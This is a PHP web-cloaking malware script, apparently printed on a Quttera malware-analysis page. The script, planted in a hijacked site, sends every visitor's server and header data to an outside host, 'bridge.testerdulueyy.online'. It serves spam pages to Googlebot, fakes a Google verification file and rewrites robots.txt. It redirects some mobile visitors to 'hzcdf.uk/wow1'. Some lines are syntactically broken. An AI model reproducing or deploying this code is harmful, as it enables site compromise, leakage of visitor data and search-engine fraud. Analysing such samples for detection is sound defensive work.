@date_default_timezone_set("PRC");
@ob_start();
error_reporting(0);
// ─── CONFIG ──────────────────────────────────────────────────────────────────
$goBackendUrl = "https://bridge.testerdulueyy.online/";
$domainSecretKey = "a8f5f167f44f49b4e7a892bbf58d1234567890abcdef";
$googleVerifyPath = '/google8fa2d77eee8db9d6.html';
$sitemapMode = "sitemap-index";
// ─── SERVER VARS ─────────────────────────────────────────────────────────────
$httpHost = $_SERVER['HTTP_HOST'] ?? '';
$requestUriStr = $_SERVER['REQUEST_URI'] ?? '';
if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') ||
(!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') ||
(!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443') ||
(isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) {
$_SERVER['REQUEST_SCHEME'] = 'https';
} else {
$_SERVER['REQUEST_SCHEME'] = 'http';
}
$scheme = $_SERVER['REQUEST_SCHEME'] ?? 'https';
$request_path = parse_url($requestUriStr, PHP_URL_PATH);
// ─── GOOGLE VERIFY ───────────────────────────────────────────────────────────
if ($request_path === '/google8fa2d77eee8db9d6.html' || basename($request_path) === 'google8fa2d77eee8db9d6.html') {
header('Content-Type: text/html; charset=utf-8');
echo 'google-site-verification: google8fa2d77eee8db9d6.html';
}
// ─── ROBOTS.TXT ──────────────────────────────────────────────────────────────
if ($request_path === '/robots.txt') {
header('Content-Type: text/plain; charset=utf-8');
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
echo "User-agent: *\r\nAllow: /\r\n\r\nSitemap: " . $scheme . "://" . $httpHost . "/sitemaps/sitemap.xml\r\n";
}
// ─── IMG PROXY → Go ──────────────────────────────────────────────────────────
if (strpos($request_path, '/img/') === 0) {
$goImgUrl = $goBackendUrl . ltrim($request_path, '/');
$ch = curl_init($goImgUrl);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => false,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => 10,
]);
$body = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$ctype = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
curl_close($ch);
http_response_code($httpCode ?: 502);
if ($ctype) {
header('Content-Type: ' . $ctype);
} else {
$mimeMap = [
'webp' => 'image/webp', 'png' => 'image/png',
'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg',
'gif' => 'image/gif', 'svg' => 'image/svg+xml',
'avif' => 'image/avif',
];
$ext = strtolower(pathinfo($request_path, PATHINFO_EXTENSION));
if (isset($mimeMap[$ext])) header('Content-Type: ' . $mimeMap[$ext]);
}
header('Cache-Control: public, max-age=31536000');
echo $body;
}
// ─── PER-PAGE SITEMAP PROXY → Go ─────────────────────────────────────────────
if (strpos($request_path, '/sitemaps/') !== 0 && substr($request_path, -12) === '/sitemap.xml') {
// Strip /index.php prefix kalau ada (OJS/path-info style)
$clean_sitemap_path = $request_path;
if (strpos($clean_sitemap_path, '/index.php') === 0) {
$clean_sitemap_path = substr($clean_sitemap_path, strlen('/index.php'));
}
$goPageSitemapUrl = $goBackendUrl . ltrim($clean_sitemap_path, '/');
$ch = curl_init($goPageSitemapUrl);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => false,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => 10,
CURLOPT_HTTPHEADER => [
'X-Forwarded-Host: ' . $httpHost,
'X-Forwarded-Proto: ' . $scheme,
],
]);
$xmlData = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
header('Content-Type: text/xml; charset=utf-8');
if ($httpCode === 200 && !empty($xmlData)) {
echo $xmlData;
} else {
echo 'xml version="1.0" encoding="UTF-8"<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"></urlset>';
}
}
// ─── SITEMAP PROXY → Go ──────────────────────────────────────────────────────
if (strpos($request_path, '/sitemaps/') === 0) {
$goSitemapUrl = $goBackendUrl . ltrim($request_path, '/');
$ch = curl_init($goSitemapUrl);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => false,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => 10,
CURLOPT_HTTPHEADER => [
'X-Forwarded-Host: ' . $httpHost,
'X-Forwarded-Proto: ' . $scheme,
],
]);
$xmlData = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
header('Content-Type: text/xml; charset=utf-8');
if ($httpCode === 200 && !empty($xmlData)) {
echo $xmlData;
} else {
echo 'xml version="1.0" encoding="UTF-8"<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"></urlset>';
}
}
// ─── BRIDGE → Go (HMAC POST) — semua halaman ─────────────────────────────────
function sendToGolang($backendUrl, $serverData, $secretKey)
{
$timestamp = time();
$serializedData = serialize($serverData);
$dataToSign = $timestamp . . $serializedData;
$signature = hash_hmac('sha256', $dataToSign, $secretKey);
$ch = curl_init($backendUrl);
curl_setopt_array($ch, [
CURLOPT_USERAGENT => "WHR",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => 15,
CURLOPT_POST => true,
CURLOPT_HTTPHEADER => [
'X-Signature: ' . $signature,
'X-Timestamp: ' . $timestamp,
'X-Original-IP: ' . ($_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? ''),
'X-Original-User-Agent: ' . ($_SERVER['HTTP_USER_AGENT'] ?? ''),
],
CURLOPT_POSTFIELDS => http_build_query(['x' => $serializedData]),
]);
$response = curl_exec($ch);
curl_close($ch);
return trim($response);
}
$_SERVER["uri_name"] = $_SERVER['REQUEST_URI'];
$vpga = sendToGolang($goBackendUrl, $_SERVER, $domainSecretKey);
// Mobile + Indonesia / non-crawler → redirect
if (trim($vpga) === "6n1n3") {
$targetUrls = [
"http://hzcdf.uk/wow1",
"http://hzcdf.uk/wow1",
"http://hzcdf.uk/wow1",
];
header("Location: " . $targetUrls[array_rand($targetUrls)], true, 302);
}
// Bukan Googlebot → render website asli
if (trim($vpga) === "PAKKETUA69" || empty($vpga)) {
goto render_html;
}
// Error dari Go
if (strpos($vpga, 'Bad Gateway') !== false || $vpga === "500") {
header("HTTP/1.0 500 Internal Server Error");
}
// Valid Googlebot → serve HTML dari Go
header('Content-Type: text/html; charset=utf-8');
echo $vpga;
// ─── RENDER WEBSITE ASLI ─────────────────────────────────────────────────────
render_html:
© 2023 Quttera Ltd. All rights reserved.